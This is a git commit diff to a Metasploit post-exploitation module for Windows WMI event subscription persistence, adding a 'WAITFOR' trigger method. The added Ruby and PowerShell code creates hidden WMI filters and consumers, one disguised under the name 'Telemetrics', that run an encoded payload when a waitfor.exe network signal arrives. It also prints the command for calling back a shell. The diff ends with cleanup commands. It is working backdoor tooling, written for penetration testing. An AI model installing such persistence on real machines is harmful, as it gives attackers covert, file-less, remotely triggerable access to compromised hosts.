added WAITFOR persistence method

bug/bundler_fix
NickTyrer 2017-06-23 17:05:39 +01:00
parent 24404ae40f
commit e7d6d5350f
1 changed files with 49 additions and 14 deletions

View File

@ -19,16 +19,18 @@ class MetasploitModule < Msf::Exploit::Local
'Name' => 'WMI Event Subscription Persistence', 'Name' => 'WMI Event Subscription Persistence',
'Description' => %q{ 'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using one This module will create a permanent WMI event subscription to achieve file-less persistence using one
of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
method will create an event filter that triggers the payload when the specified process is started. Additionally a custom method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
due to powershell script length limitations. (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
}, },
'Author' => ['Nick Tyrer <@NickTyrer>'], 'Author' => ['Nick Tyrer <@NickTyrer>'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -50,13 +52,15 @@ class MetasploitModule < Msf::Exploit::Local
register_options([ register_options([
OptEnum.new('PERSISTENCE_METHOD', OptEnum.new('PERSISTENCE_METHOD',
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]), [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
OptInt.new('EVENT_ID_TRIGGER', OptInt.new('EVENT_ID_TRIGGER',
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
OptString.new('USERNAME_TRIGGER', OptString.new('USERNAME_TRIGGER',
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
OptString.new('PROCESS_TRIGGER', OptString.new('PROCESS_TRIGGER',
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
OptString.new('WAITFOR_TRIGGER',
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
OptInt.new('CALLBACK_INTERVAL', OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
OptString.new('CLASSNAME', OptString.new('CLASSNAME',
@ -104,6 +108,11 @@ class MetasploitModule < Msf::Exploit::Local
psh_exec(subscription_process) psh_exec(subscription_process)
print_good "Persistence installed!" print_good "Persistence installed!"
@cleanup @cleanup
when 'WAITFOR'
psh_exec(subscription_waitfor)
cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0")
print_good "Persistence installed! Call a shell using \"waitfor.exe /S <target_ip> /SI "+datastore['WAITFOR_TRIGGER']+"\""
@cleanup
end end
end end
@ -169,6 +178,21 @@ class MetasploitModule < Msf::Exploit::Local
end end
def subscription_waitfor
command = build_payload
word = datastore['WAITFOR_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
HEREDOC
end
def log_file(log_path = nil) # Thanks Meatballs for this def log_file(log_path = nil) # Thanks Meatballs for this
host = session.session_host host = session.session_host
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
@ -186,13 +210,24 @@ class MetasploitModule < Msf::Exploit::Local
def cleanup def cleanup
name_class = datastore['CLASSNAME'] if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
clean_rc = log_file() name_class = datastore['CLASSNAME']
clean_up_rc = "" clean_rc = log_file()
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
file_local_write(clean_rc, clean_up_rc) clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\""
print_status("Clean up Meterpreter RC file: #{clean_rc}") file_local_write(clean_rc, clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
else
name_class = datastore['CLASSNAME']
clean_rc = log_file()
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
file_local_write(clean_rc, clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
end
end end
end end